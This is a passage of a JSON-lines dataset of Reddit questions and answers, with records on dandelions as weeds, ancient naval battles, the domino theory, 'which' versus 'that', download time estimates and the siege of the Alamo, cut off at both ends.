meditation, recitation, libation of the fire, eating and excretion, keep the rule of silence mentioned in the scriptures laid down by their own preceptors; who, in this world, venerate the cow with manifold incense, good flowers and plenty of choice fruits: white, brave, heroic, abode of great strength - those are we, the Parsis.\n\nI can definitely see where Schmidt is coming from - the Slokas basically present Zoroastrianism as a sect of Hinduism, mentioning the sanctity of cattle for example (a Zoroastrian would probably be more likely to mention the sanctity of dogs, since cattle-slaughter was not prohibited in Zoroastrianism). That and some philological concerns in the rather mind-numbing text of Schmidt's supports the conclusion that it was written by a Hindu priest with some familiarity with Zoroastrian concepts, in perhaps the 15th to 17th centuries (the earliest manuscript is from the late 17th century.) though dating it is quite controversial.\n\nThe other text of note is the Qissah, a Persian epic of sorts from 1599 that narrates the traditional story of the Parsis arriving in Gujarat from Khorasan in the 10th century. The text portrays king Jadi Rana as an extraordinarily tolerant Hindu Raja, who generously received the Parsis who claim to seek asylum from persecution. It features a few sentences where the high priest explains Zoroastrianism to the king that have some superficial similarities with the Slokas - but probably neither is directly derivative of the other (Schmidt goes over some of the arguments back and forth in his rather mind-numbing article). The general tone of the text is a bit different - it portrays the Hindu kingdoms and the Parsis as both threatened by the Muslim invaders, and thus as allies against a common threat. This probably does not actually reflect the experience of the first Parsis who arrived (though the general geographic aspects and so on are generally taken to be correct - but largerly for lack of an alternative narrative), but rather it reflects later tensions during the Muslim invasion of Gujarat, the sackings of Delhi, and so on. (In fact, some other sources like the Rivayat of Adurfarnbag seem to indicate that Muslim rulers were actually more tolerant of certain Parsi practices than Hindu rulers).\n\nUnfortunately the early history and chronology of the Parsis is incredibly foggy. But whatever their initial experiences, these later texts (whatever their purposes) certainly at a minimum indicate a degree of appreciation for their commonalities.\n\nI hope that answered your questions! Feel free to field any followup questions.\n\nSources and further reading:\n\n_Zoroastrians: Their Religious Beliefs and Practices_ (Boyce)\n\n_Wiley-Blackwell Guide to Zoroastrianism_ (Stausberg et al.)\n\n_The Sixteen Sanskrit Slokas of Aka Adhyari_ (Schmidt)\n\n[Qissa-i Sanjan](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.avesta.org/other/qsanjan.htm", "https://www.reddit.com/r/AskHistorians/comments/960wek/to_what_degree_did_zoroastrianism_preserve/"]]}
{"q_id": "6f7hnk", "title": "How did the dandelion, an edible and remarkably versatile plant, come to be classified as a weed?", "selftext": "I was reading in the memoir of a Great Depression survivor that she would stop and gather dandelions while out looking for work and bring them all home for a dandelion dinner in case her mother had been unable to find anything to eat. This piqued my interest, and I did some research on the dandelion. I was shocked out how versatile this plant was-- the leaves were edible, the roots could be roasted as a coffee substitute, the milky sap inside the stem was said to have medicinal properties, and the flower tops could even be bottled and made into wine! \n\nHow and why did the dandelion come to be known as nothing more than a pesky weed? It seems like this flower got the raw end of the deal.\n\n**EDIT:** Wow. First of all, let me say that I am deeply thankful for the insightful, in-depth responses provided by both /u/gothwalk and /u/WRCousCous. You both have gone above and beyond in addressing my query, and I did not expect such expert-level responses to my question about the humble dandelion.\n\nSecondly, I am blown away with how popular this post has become. I cannot believe that it is the most highly upvoted question of all time in /r/AskHistorians. I hope this has exposed many people to the lost arts of foraging plants for food and medicine. This is something I feel that everyone should know more about. (*Please* be absolutely certain that you have positively ID'ed any plant that you intend to ingest, especially if you are dealing with fungi. Otherwise your delicious salad may kill you :) )", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6f7hnk/how_did_the_dandelion_an_edible_and_remarkably/", "answers": {"a_id": ["dig2h19", "dig91nu", "digakrr", "digcd66", "digd6pk"], "score": [313, 6, 5834, 9, 523], "text": ["Hello everyone, \n\nIf you are a first time visitor, welcome! This thread is trending high right now and getting a lot of attention, but it is important to remember those upvotes represent interest in the question itself, and [it can often take time for a good answer to be written](_URL_6_). The mission of /r/AskHistorians is to provide users with **in-depth and comprehensive responses**, and our [rules](_URL_4_) are intended to facilitate that purpose. *We remove comments which don't follow them for reasons including unfounded speculation, shallowness, and of course, inaccuracy*. Making comments asking about the removed comments simply compounds this issue. So please, before you try your hand at posting, check out the [rules](_URL_4_), as we don't want to have to warn you further.\n\nOf course, we know that it can be frustrating to come in here from your frontpage or /r/all and see only *[removed]*, but we ask for your patience and understanding. Great content is produced on this subreddit every day though, and we hope that while you wait, you will check out places they are featured, including [Twitter](_URL_1_), the [Sunday Digest](_URL_2_), the [Monthly \"Best Of\"](_URL_9_) feature, and now, [Facebook](_URL_3_). It is very rare that a decent answer doesn't result in due time, so please do come check back on this thread in a few hours. If you think you might forget, send a [Private Message](_URL_7_!) to the [Remind-Me bot](_URL_0_), and it will ensure you don't!\n\nFinally, while we always appreciate feedback, it is unfair to the OP to further derail this thread with META conversation, so if anyone has further questions or concerns, I would ask that they be directed to [modmail](_URL_5_), or a [META thread](_URL_8_[META]). Thank you!", "Follow up question: I've heard that dandelions were originally introduced to North America by European colonists who intended to use them as food, and they were often used in Europe. Is this true?", "Note to the mods: My qualifications to answer the question are at the end, and I've put some decent sources for the history of weeds (which I've read and have informed this writing) at the end. I do not directly reference texts, since I can't find any peer-reviewed work that *directly* references the transition in perception from \"forage plant\" to \"weed\" for *Taraxacum* spp.  \n\n--------------------\n\nA legitimate **short answer** is simple: the dandelion (*Taraxacum* genus, but most often *T. officinale* in N. America) is *not* known as \"nothing more than a pesky weed.\" You can find it in spring mixes in N. American grocery stores, some people still cultivate it for various reasons, and some people still forage for it in the spring when the leaves are best used in salads. \n\nThe **slightly longer answer** is: many Americans and Canadians (and likely other folk as well) now buy most of their food from grocery stores rather than produce (or collect) their own. In cultures where foraging is still commonly practiced (like my native Southern Appalachia), dandelion greens are collected in the spring along with other delicacies (such as ramps, poke salat, scallions, *Morchella* spp. or morels, chicory, and about a gazillion more). For most others, who don't forage *any* foods at all, dandelions have become a pest in lawns. Even though many people might eat dandelion leaves in restaurants or in prepackaged greens from a grocery, they don't recognize what they are eating (and those are generally farmed rather than foraged). *Because dandelions were introduced (or invasive) species to the Americas, and because they are often not where people want them (i.e., in the middle of your front lawn), they have been recently classified as weeds.* There are a couple of non-dandelion-specific reasons for this.\n\n1. The urbanization of the population of western nations means that *most* people now have a different relationship to plants than their ancestors did, say, 150 or more years ago. Industrialization clearly plays a role in this, as does increased wealth. Foraging as a common subsistence activity has become more and more rare in the first world, and is mostly a *cultural* rather than necessary economic practice in N. America. Native peoples and some other groups (\"back to the earthers,\" amateur mycologists, foodies, etc.) are either still foraging or *learning* to forage.\n\n2. With increasing wealth in the 20th C., and especially since the end of WWII, the rise of \"suburbanization\" has meant that many people now have *lawns* (something that in the 19th C. and before was a luxury of the ultra-wealthy). While a dandelion in a non-agricultural field is still considered to be not a weed (*Taraxacum* is not on any US noxious weed lists I'm aware of), if it interferes with the growth of a crop or the growth of a pretty lawn, many people would then consider it a weed. The same is true of other generally benign plants (various wild roses, wild lettuces from *Lactuca*, milkweed species, etc.): they are often highly desirable in certain contexts (\"natural\" settings), but pests when they are \"in the wrong place\" (cropland or your yard). This is complicated by the next piece of background:\n\n3. \"Weeds\" often evolve to mimic or live *among* cultivated species. This can easily be seen in Western N. America, where invasive grasses like *Bromus tectorum* (Cheatgrass) have evolved to live quite happily in wheat fields, where humans conveniently collect their seed, spread it far and wide, and replant it all over the world  (which is how it got to N. America in the first place in the 19th C.). In the case of *Taraxacum* spp., the advent of lawn mowers and home use of herbicides has selected for ever more irritating lawn-invaders (which grow lower to the ground, are herbicide resistant, can make many flower-bearing stems per rosette per year, etc.). It's very much like the classic \"Red Queen\" evolutionary story, with *Taraxacum* becoming \"lawn parasites\" thanks to environmental pressures provided by humans.\n\n4. Post WWII, the wide availability of chemicals for home-use (fertilizers, herbicides, pesticides) meant that lawn-care companies and chemical manufacturers had (and still have) a financial stake in promoting the perception that \"anything not intentionally planted in your yard is weeds.\" Thusly, \"Weed and Feed\" products specifically targeting *Taraxacum* and other common broadleaf plants are a hot-ticket this time of year in N. America. You can find pictures of dandelions on many, many bags of chemicals in hardware stores, feed stores, and groceries in almost all urban and rural areas of the US and Canada.\n\n**tl;dr**: Very few people intentionally eat dandelion greens these days (although that is changing), and fewer still intentionally forage (or cultivate) them. Lawns have become popular for various reasons (symbol of wealth, fun for the kids, etc.), and dandelions tend to get in the way of (many) homeowners' obsession with grasses. Home lawn-care companies and chemical manufacturers have done their best (quite successfully) to paint the dandelion as a target for an array of products. \n\n**N.B.s** Although the \"popular\" perception of the Dandelion is that it is an invader of N. America, the USDA now recognizes a native subspecies of *T. officnale* in the western and arctic regions of N. America. It is one of most widespread plant genera on the planet. There are *a lot of different species, subspecies, and hybrids of Taraxacum*. I have no idea how the Europeans perceive the dandelion now, although in the past it was considered a valuable medicinal and forage plant, which is how my (mostly Welsh) ancestors knew about the plant and managed to pass that knowledge along to us (by making us go out and pick baskets of the stuff every spring). \n\n---------------------------\n\n*Why I'm qualified to answer the question*: I'm trained as a plant and fungal ecologist, and now work as social-ecological scientist (studying the intersection of human and \"natural\" systems, with an emphasis on hysteresis effects and plant-human interactions). Hysteresis effects, in ecology, are when past events (often human actions) have persistent, and often dramatic, effects on the current state of a system. Changes in *human culture* can be legitimate causes of hysteresis effects as much as biophysical, geological, or agricultural events. Before getting my PhD in ecology, I taught natural history courses in an Appalachian Studies department at an eastern University, and we would often discuss the *oral* history (and knowledge) of forage plants, weeds, and the changing relationship of humans to the environment. I've also read a fair amount of \"environmental history,\" especially the literature devoted to the relationship of humans to plants through time.\n\n\n-------------------------\n\n**Sources and Further Reading**\n\n* Jenkins, V. (2015). The lawn: a history of an American obsession. Smithsonian Institution.\n\n* Evans, C. L. (2002). The war on weeds in the Prairie west: an environmental history. University of Calgary Press.\n\n* Pieters, A. J. (1935). What is a Weed?. Agronomy Journal, 27(10), 781-783.\n\n* Barrett, S. H. (1983). Crop mimicry in weeds. Economic Botany, 37(3), 255-282. \n", "Beyond the aesthetic issues, dandelions cause a number of actual financial problems for cultivation. They basically can grow abundantly in any type of field. They reduce crop yields, slow down the drying of hay and similar crops (due to high water content), act as host to a number of crop devastating pests such as the [boll weevil](_URL_0_), bacteria, and viruses. Over use of it medically can shut down the liver. The pollen is an allergen that can contaminate honey. Along with affecting the honey, dandelions attract bees away from fruiting plants in orchards that need their services (however while perception of this impact is high, the effect is minimal). For lawns and grass courses, they have a higher water requirement than the grasses but can out compete, survive, and even kill nearby grasses. \n\nThere are some positive things about the plant, such as medicinal value, soil enrichment, and animal feed; however there are better alternatives that have less negatives.\n\nNow regarding the actual history in change of perception, I can only speculate and I won't. \n", "So, dandelions. First, in terms of the Great Depression, they're one of the generally disregarded products of the Columbian Exchange - there are some varieties of dandelion or closely related plants native to North America, but the ones you'd generally recognise are Old World imports. It's not clear whether they were intentionally imported or not, but given their seeding habits, the chances are good that they were accidental. They grow *anywhere*, and can be incredibly destructive plants when they push up through paving or have their roots crack through walls.\n\nThey're regarded as a food or medicinal plant through recorded history, though never as a particularly desirable one. Ab\u016b Bakr Muhammad ibn Zakariyy\u0101 al-R\u0101z\u012b, known in the west as Rhazes, wrote about them around 900CE, but only as a medicinal plant, and Avicenna (Ibn Sina) reputedly devoted an entire chapter to them in one work a century later. As far as I can tell, though, they're not included by Al-Warraq in his cookery book in Baghdad, roughly contemporaneous with Ibn Sina (at least, I can't find any reference to them under the names I know, and the translator of the edition I have, Nawal Nasrallah, hasn't included them in the index of ingredients). They were almost certainly included in the range of green plants used by European medieval peasants in pottages, although, again, they're not actually included in any of the lists provided by Peter Brears in *Cooking and Dining in Medieval England*.\n\nThe Victorians seem to have made more use of the dandelion. E. Lewis Sturtevant, writing in 1886, notes it grown for the Boston market in 1836, and he says the seed is for sale in \"various seed catalogues of 1885\" in no less than 6 varieties. The first mention of dandelion as a vegetable he could find in England was 1846 in the Gardeners' Chronicle, where it's described as \"a beautiful and delicate blanched salad\". He also says \"[t]he influence of rich soil and protected growth upon the dandelion is to give increased size and succulence to the plant, and to thicken the branching of the leaves\", which is in line with most cultivated versions of wild plants. There was considerable interest in the Victorian era in new and exotic vegetables, much as there is now, and if they could be got by cultivating wild plants, so much the better.\n\nHowever, dandelions, once grown, can be very hard to remove from a given location. The taproot - which is edible too - can go down a metre without much difficulty, and unless it's pulled out entirely, the plant will regrow from it. This is a feature if you're harvesting it, since it'll reappear within weeks, but if you're trying to clear it from a bed to make way for something else, it's a pain. This is probably one of the two reasons that it's not really grown for food anymore - the other being that it's not terribly good. Arugula, or rocket, is generally better tasting than the leaf. The flowers *can* be made into a hedgerow wine, but you generally need to add other things (lemons, for example) to get anything that tastes palatable. The root can be dried, roasted, and ground to make a drink that is claimed to be like coffee, presumably by people who have never had coffee - but actual coffee, or even chicory, is better. And so forth. By 1911, the Britannica says, somewhat delicately, \"[f]or the purposes formerly recognized taraxacum is now never used\". In addition, the difference between the cultivated and the wild dandelion isn't really enough to merit growing it deliberately.\n\nThey're not the only vegetable to disappear from modern use through inconvenience - there's one called skirrets, which resembles carrots and parsnips, but has a bunch of longer, thinner roots, which are obviously more difficult to peel and cook than their fatter cousins, so they've been left behind. Likewise, alexanders, a leafy green, is more bitter and requires more cooking than celery, its closest modern equivalent, so it's been abandoned as well. I haven't eaten skirrits (yet), but I can assure you that alexanders taste like freshly cut hedgerow smells.\n\nThey're not _completely_ absent from modern cuisine, although they always seem to come with caveats. Harold McGee notes that it's 'occasionally grown on a small scale'. They're used in a traditional English soft drink called Dandelion  &  Burdock, which is still made (a brand called Fentimans is the one I know). There is a claim in various articles that a local variety called 'koproradiko' or 'mari' is eaten in Crete as a salad ingredient, or boiled, but it occurs in so many places with exactly the same phrasing that I suspect it's copied from a single source, and I can't find anything to back it up. They're eaten in Greece in general, though, as one of many plants under the label 'horta', and are known there as 'radikia'. 'Horta vrasta', which seems to be literally 'boiled greens' is possibly the most authentically historical way to eat them. Blanched leaves (grown under cover) are sometimes seen in salads in vegetarian restaurants here in Ireland, too, and they're occasionally used in French cuisine.\n\n**Sources:**\n\n\nE. Lewis Sturtevant, 'A Study of the Dandelion', _The American Naturalist_, Vol. 20, No. 1 (Jan., 1886), pp. 5-9  \nHarold McGee, _On Food And Cooking: The Science and Lore of the Kitchen_  \nNawal Nasrallah, _Annals of the Caliphs' Kitchens_  \nPeter Brears, _Cooking and Dining in Medieval England_  \n_Encyclopedia Brittannica_, 1911 Edition  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/RemindMeBot/comments/24duzp/remindmebot_info/", "http://twitter.com/askhistorians", "http://www.reddit.com/r/AskHistorians/search?q=title%3A%22Sunday+Digest%22&amp;restrict_sr=on&amp;sort=new&amp;t=all", "https://www.facebook.com/askhistorians/", "http://www.reddit.com/r/AskHistorians/wiki/rules", "http://www.reddit.com/message/compose?to=%2Fr%2FAskHistorians&amp;subject=Question%20Regarding%20Rules", "https://www.reddit.com/r/AskHistorians/comments/6a5duv/a_statistical_analysis_of_10000_raskhistorians/", "https://www.reddit.com/message/compose/?to=RemindMeBot&amp;subject=Reminder&amp;message=%5BLINK%20INSIDE%20SQUARE%20BRACKETS%20else%20default%20to%20FAQs%5D%0A%0ANOTE:%20Don%27t%20forget%20to%20add%20the%20time%20options%20after%20the%20command.%0A%0ARemindMe", "http://www.reddit.com/r/AskHistorians/submit?selftext=true&amp;title=", "https://www.reddit.com/r/AskHistorians/wiki/bestof"], [], [], ["https://en.wikipedia.org/wiki/Boll_weevil"], []]}
{"q_id": "32rcr3", "title": "How did ancient navies in Greek and Roman times actually \"battle\" without projectile weapons like cannons?", "selftext": "Did sailors just board each other's ships and fight normally? Did ships ram each other? \n\nHow were ships destroyed? Were they lit on fire or their hulls broken by weapons?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/32rcr3/how_did_ancient_navies_in_greek_and_roman_times/", "answers": {"a_id": ["cqe1cx1", "cqe1owt", "cqe354p", "cqe57k4"], "score": [319, 85, 23, 14], "text": ["During Alexander the Great naval siege of Tyre in 332 BC, the defenders used catapults against the Greek navies... the aim was not to sink the ships, though, but to incapacitate enough of the rowers aboard that they could no longer be effectively maneuvered.\n\nDuring the Punic Wars of 3rd and 2nd centuries BC, the most common battle tactic on the sea was ramming.  As such, ships were constructed with [reinforced prows that were in effect battering rams](_URL_1_).  Ideally, a hit would outright sink the enemy ship, or at least severely incapacitate it.\n\nThe Romans, being a primarily land-based power, were out of their league fighting the Carthaginians at sea...and figured it out very quickly when the majority of their first major fleet was trapped in a cove and captured pretty much right off the bat in 260 at the embarrassing (for the Romans) Battle of Lipari Islands.  \n\nThe Romans did what the Romans always did when faced with defeat: they doubled down and constructed a new fleet, but added a critical new invention: the [*corvus*](_URL_0_) - which was in essence a ship-mounted draw-bridge with spikes on the bottom, that allowed the superior Roman infantry to drop it down on a nearby Carthaginian ship, latch on, and then board and engage in hand-to-hand combat... at which they excelled.  This really turned the tide of the First Punic War and resulted in a major Roman victory.\n\nNevertheless, the corvus was a stopgap method - it was dangerous and cumbersome for the Roman ships to use, and once they became more proficient at \"standard\" naval tactics, they largely phased it out of their navies.\n\nMore on the corvus here: _URL_2_", "Most of this information is about earlier Roman ships, like during the Punic Wars. Later projectile weapons changed, such as the famous Greek fire used by the Byzantines / Eastern Romans which terrified everyone who witnessed its use.\n\nSometimes ships had large ballistae on them. For instance, at the siege of Syracuse the Roman fleet had to get quite close to use these engines, but this also brought them within range of all the ingenious war machines built by Archimedes. They also used smaller missile weapons like bows.\n\nThe ships normally had heavy reinforced prows and they rammed each other in an attempt to stove in the hull of the enemy and cause them to sink. But this was not a very easy manoeuvre and it was far from certain it would succeed. Another tactic was to try and snap off all the oars on a side to disable the ship and make it easier to board.\n\nSo that leaves hand-to-hand combat. They used grappling hooks so the enemy ship couldn\u2019t get away. The Romans also developed a rather unique tool. The corvus was basically like a drawbridge with a huge iron spike at the end. The Romans would get close to an enemy ship and swing this bridge down, impaling and holding the enemy ship. The Romans could then charge over this bridge to engage.\n\nThis was a good example of Roman flexibility. During the early Punic Wars they weren\u2019t particularly good mariners but were excellent soldiers. They brought their expertise in ground warfare to the waves and were quite proud of it.\n\nMain sources: Polybius and Livy.\n\n**Edit:** Sorry, I basically just repeated what /u/cthulhushrugged said. He must have posted while I was still writing.", "Thucydides describes the Battle of Sybota (433 B.C.E.), fought by the Corinthians (150 ships) against a combined fleet of Athenians (10 ships) and Corcyraeans (110 ships), as such:\n\n*\"The fighting was of a somewhat old-fashioned kind since they were still behind in naval matters, both sides having numbers of hoplites aboard their ships, together with archers and javelin throwers ... indeed, it was more like a battle on land than a naval engagement ... both sides relied more on their hoplites, who were on the decks and who fought a regular pitched battle there while the ships remained motionless ... this was the biggest battle that had ever taken place between two Hellenic states\"* (Book I, Chapter 49, translated by Rex Warner)", "The short answer is, ancient Mediterranean naval battles were engagements between triremes (or oar ships with more decks later on) which tried to ram the other ship midships (where it was fragile) with bronze reinforced rams. Then, either the ramming trireme let its oarsmen pull it out and let the other ship sink, or boarded the enemy ship and best its crew to eliminate it from the fight.  \n\nIn the ancient world navies practiced naval warfare as a version of their land based battles; that is to say the battles were not true naval battles where a ship bests another ship. Instead it was more like a contingent of marines trying to kill another crew after trying to gain a solid foothold to its foe's deck. \n\nYou can even observe the remnants of this trend at the onset of the age of projectile based naval warfare. For instance, a typical medieval caravel with very high bow and stern castles that kind of turned the naval engagement into a stronghold defense.\n\nEdit: minor grammatical corrections"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.livius.org/site/assets/files/5733/corvus.jpg", "http://media.tumblr.com/ebd31ffa4acaef84553da2b2da7a7880/tumblr_inline_mimclkpaka1qz4rgp.jpg", "http://www.livius.org/cn-cs/corvus/corvus.html"], [], [], []]}
{"q_id": "r5z6b", "title": "Why does childhood seem so much better? When even the simplest stimuli provided a great sense of well-being?", "selftext": "I'm not really looking for a \"we get used to it as we get older\" answer, but perhaps a more scientific reason that has to deal with neurochemistry.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r5z6b/why_does_childhood_seem_so_much_better_when_even/", "answers": {"a_id": ["c436537"], "score": [3], "text": ["I'll start by saying I can't help you directly but might point you in a reasonable direction;\n\nDopamine plays a major role in the brain system that is responsible for reward-driven learning. \n\n- _URL_0_\n\n\"The dopamine system, which plays a crucial role in reward processing, is particularly vulnerable to aging. Significant losses over a normal lifespan have been reported for dopamine receptors and transporters\"\n\n- _URL_1_\n\nHope that helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Dopamine#Learning.2C_reinforcement.2C_and_reward-seeking_behavior", "http://www.pnas.org/content/105/39/15106.full"]]}
{"q_id": "8lxwvm", "title": "why do knee braces reduce pain?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8lxwvm/eli5_why_do_knee_braces_reduce_pain/", "answers": {"a_id": ["dzjj5th"], "score": [2], "text": ["It depends on which type of knee brace you\u2019re referring to. Some focus on providing additional stabilization (think nfl offensive lineman) while others aim to mitigate the effects of swelling through compression. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8sxerq", "title": "In hindsight, How reasonable was the assumption that if Vietnam fell to the communists, Laos, Cambodia, Thailand, Malaysia etc. Would soon follow?", "selftext": "I've been watching Ken Burns' Vietnam documentary, and reading Tim Weiner's \"Legacy of Ashes\". Both put emphasis on American leaders treating the \"Domino effect\" of the surrounding nations following suit should Vietnam succumb to the communism as a foregone conclusion and cite it as the main reason for going to war. \n\nHowever, neither Weiner nor Burns question this logic. In fact I've never in my life seen anyone question this logic. But with the benefit of hindsight, how likely would it have been that all of Southeast Asia would turn communist just because the relatively small Vietnam did? In theory, shouldn't the massive China turning red have been enough to set off the domino effect in Southeast Asia?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8sxerq/in_hindsight_how_reasonable_was_the_assumption/", "answers": {"a_id": ["e2j7cwt"], "score": [2], "text": ["I live in Southeast asia. My parents came of age during the time the domino theory was at its peak.\n\nHonestly speaking, it did seemed very real. Remember, every country in SEA had some kind of communist insurgency at some point or another. At the height of the Vietnam war, you need to remember, most nations were barely a decade old. \n\nBased on my parent's memories, communist vietnam seemed to be the strongest nation and the most likely to steamroll over Thailand and malaysia.\n\nIn fact, there is some ground that the fact that the US got involved in Vietnam actually bought time for the other nations to achieve 2 things:\n\n1) develop an actual economy with jobs and reasonable wages such that it convinced the local people that communism was not the only path\n\n2) Build up their own armies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "18adqq", "title": "when to use \"which\" and \"that\"", "selftext": "In a sentence such as the following:\n\nWhen dealing with a community ____ is not accepting of change, do not try to force your own beliefs on it.\n\nDo you use which or that? Microsoft Word always corrects my which to that, and I'm not sure what the distinction is.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/18adqq/eli5_when_to_use_which_and_that/", "answers": {"a_id": ["c8d1qpr", "c8d1vta", "c8d3xf5", "c8d7nnp"], "score": [84, 25, 8, 3], "text": ["*That* is used when the additional information limits what is being talked about.  *Which* is used when you are just adding more information.\n\nExample (from [grammar girl](_URL_0_)):\n\nGems that sparkle often elicit forgiveness. (only gems that sparkle)\n\nDiamond, which are expensive, often elicit forgiveness. (diamonds are all expensive)\n\nYour example should use *that* because you are only talking about a certain kind of community.\n\n", "The clause \"that is not accepting of change\" is an adjectival phase (it modifies the noun *community*). \n\nAs a rule of thumb, you use \"that\" when the phrase is essential to the meaning of the sentence, and \"which\" when the phase is not essential. An easy way to test this is to remove the phrase and see if the meaning of the sentence changes.\n\n*When dealing with a community, do not try to force your own beliefs on it.*\n\nHas the meaning changed? Yes. The original sentence is telling us something about a specific subset of communities. Without the adjective phrase to tell us that, the meaning changes. The phrase is essential and restrictive, so you should write \"that.\"\n\nWhen would you write which?\n\n*The website, which was launched in 2004, is very popular with college students.*\n\nWhen we remove the adjective phrase, we get:\n\n*The website is very popular with college students.*\n\nThe sentence's meaning hasn't changed, so we know the phrase was non-essential and our choice of \"which\" was correct.", "My girlfriend uses the Cockney \"what\" in place of both, and apparently I'm the first person to have ever pointed this out to her. We live on the other side of the world, and she has no idea where she picked it up.", "From Knuth's _Mathematical Writing_: \"If you can substitute \u2018that\u2019 for \u2018which\u2019, do it.\"\n\n(This isn't given as a hard and fast rule in the book, the book discusses rather than prescribes.  But it is, overall, a pretty good rule.)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://grammar.quickanddirtytips.com/which-versus-that.aspx"], [], [], []]}
{"q_id": "1y2kby", "title": "why is it that when my computer is doing something, the \"time remaining\" estimate fluctuates so much and is rarely accurate?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1y2kby/eli5_why_is_it_that_when_my_computer_is_doing/", "answers": {"a_id": ["cfgsa2e", "cfgt1bf", "cfgtms1"], "score": [44, 2, 20], "text": ["Determining accurately how long the task would take would take a while in itself, so the programmers estimate the length of the task using methods which may not be accurate but which don't risk significantly increasing the length of the actual task.  Additionally, there may be circumstances which simply cannot be known.  An example of that would be network speeds that are fluctuating.  You obviously can't know during a download that half way through the network bandwidth is going to go to crap.\n\nAn example of a cheap but inaccurate estimate would be to use the number of files but not their sizes when copying files.  If all the files are similar in size, then this is an acceptable estimate, but if you have lots of small files and a few very large ones, then the estimate is going to be way off.", "It is a hard thing to solve because the speed at which \"work\" completes at is not static for the entire time. Copying files or network transfers have changing speeds based on a multiple of factors. \n\nThere are two common ways to determine an estimate for time remaining:\n\n1. Use the current progress and elapsed time to guess at remaining. If the first half took. 30 minutes then guess that the second half will. This means you will get less fluctuation if the speed of the task changes drastically. On the other hand if the task starts slow and increases later or starts fast and slows down later then your time estimate may not update to reflect that as soon as you might expect. \n\n2. Use a smaller sample. If the task has been running for 30 minutes then base the estimate off the work done in the last 10 seconds. This means that drastic changes get reflected in the estimate quicker but the estimate can be hard to read if the speed keeps fluctuating. \n\n\n", "A decent analogy would be how long it will take to drive somewhere. You know how far it is and you know how fast you are going at any given time. But you can't predict the traffic you'll run into on the way. When you start accelerating and hit 10 miles per hour then it's 10 hours to get 100 miles. When you hit 50 miles per hour it's two hours for the same trip. Then you hit a stop sign or traffic jam, which you don't know how long will last, and you start having to estimate a lower and lower average travel speed and a longer and longer time to arrival."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5ex64m", "title": "How did the soldiers at the Alamo last so long against such a large number of Mexican soldiers?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5ex64m/how_did_the_soldiers_at_the_alamo_last_so_long/", "answers": {"a_id": ["dag30s3"], "score": [29], "text": ["For the reader's reference, this is the Alamo at the time of the siege:\n_URL_0_\n\nThe Alamo is a mid-18th century Franciscan mission that became a garrison for Spanish and then Mexican cavalry units before ultimately being fortified by, and then captured from, Mexican general Perfecto de Cos in the 1835 Siege of Bexar. The main compound is a rough rectangle, slightly wider on the northern side, about 537 feet by 244 feet, with a total perimeter of just under 1500 feet; the church and palisade add a bit more. The walls are mainly adobe, but the crumbling north wall has been reinforced with rammed earth, a palisade has been erected between the southeast wall and the church, and a strong earthwork lunette has been thrown up outside the main gate, in the south wall. The fortification is almost wholly surrounded by the acequia (irrigation ditch), but these are shallow barriers. Being South Texas in early spring, there is little cover or concealment outside the walls, save for some small shacks which the defenders will eventually burn.\n\nAs for the garrison? The reasonable estimates for the Alamo's strength at any one time during the siege vary between 180 and 250 men. Some are regulars, but the majority of the Texians are volunteers. With the exception of their officers, most are newcomers to Texas and missed the previous year's fight at Bexar. Their commanders, William Barret Travis and James Bowie, are veterans of at least one campaign, though Bowie would soon be removed from active command by a strange malady. They have been poorly supplied by the Texian provisional government, want for warm clothing, and the fortification is not provisioned to withstand a lengthy siege. Despite that, they are at least well armed, even if the powder is short. There are 21 cannon in the compound, but only 18 of them are mounted and will play a role. Of these, only three are 12-pounders or larger. The largest, an 18-pounder, is sited on the southwest corner where it can cover the town of Bexar. Lighter guns are distributed throughout the perimeter. In addition to cannon, the garrison is well supplied with Mexican muskets captured after the Siege of Bexar.\n\nNow, I've just given you a probably overly lengthy description of the Alamo's military situation on the eve of the siege. Here's what it means. The Alamo represents a significant obstacle for any force that lacks a siege train. The garrison is too small to fully defend the oversized perimeter, but they have enough cannon and enough small arms (two or three spare muskets per man) to turn any kind of an improvised infantry attack into a gory debacle. For an army with artillery, sappers, and experience in using them, it is a much less daunting task. It is an improvised fortification, and it shows. The walls were not built to stand up to cannon fire and have a vulnerable dead zone at their base. Most of the Texian cannon lack the range, and all lack the powder, to engage in an extensive artillery duel with Mexican batteries. \n\nWhat followed is almost a cliche of early 19th century siege warfare. The arriving Mexican vanguard isolated the garrison and demanded surrender - and were refused. When the garrison awoke, they found a fortified battery 400 yards west of the fort. As the cannon began to pound the fort, Santa Anna reconnoitered. On the third day, the Mexicans made a small, battalion-sized attack on the west wall of the Alamo. The attack seems not to have been in earnest, and the Texians beat it off with relative ease. While they were dealing with the infantry probe, however, the Mexicans established new field works around the Alamo. On the fifth day, the Mexicans dammed the acequia and cut off the defenders' main source of water, while simultaneously building a new, closer trench line to the south. All the time, more guns continued to arrive and join in the cannonade.\n\nBy the 11th day of the siege, the Mexican batteries were only 200 yards from the walls, and while the guns bashed away at them, howitzers threw explosive shell into the compound. The bombardment inflicted few casualties, but it battered the defense, and the defenders. Men who had been kept from sleep by shelling, guard duty, and patrols, who were short on food and water, were then required to repair crumbling walls and dig ditches. Every day made them weaker. On the 12th day, the Mexicans began final preparations for an assault the following morning.\n\nThe assault itself was a brief, bloody denouement. 1,000-1,200 or so Mexican 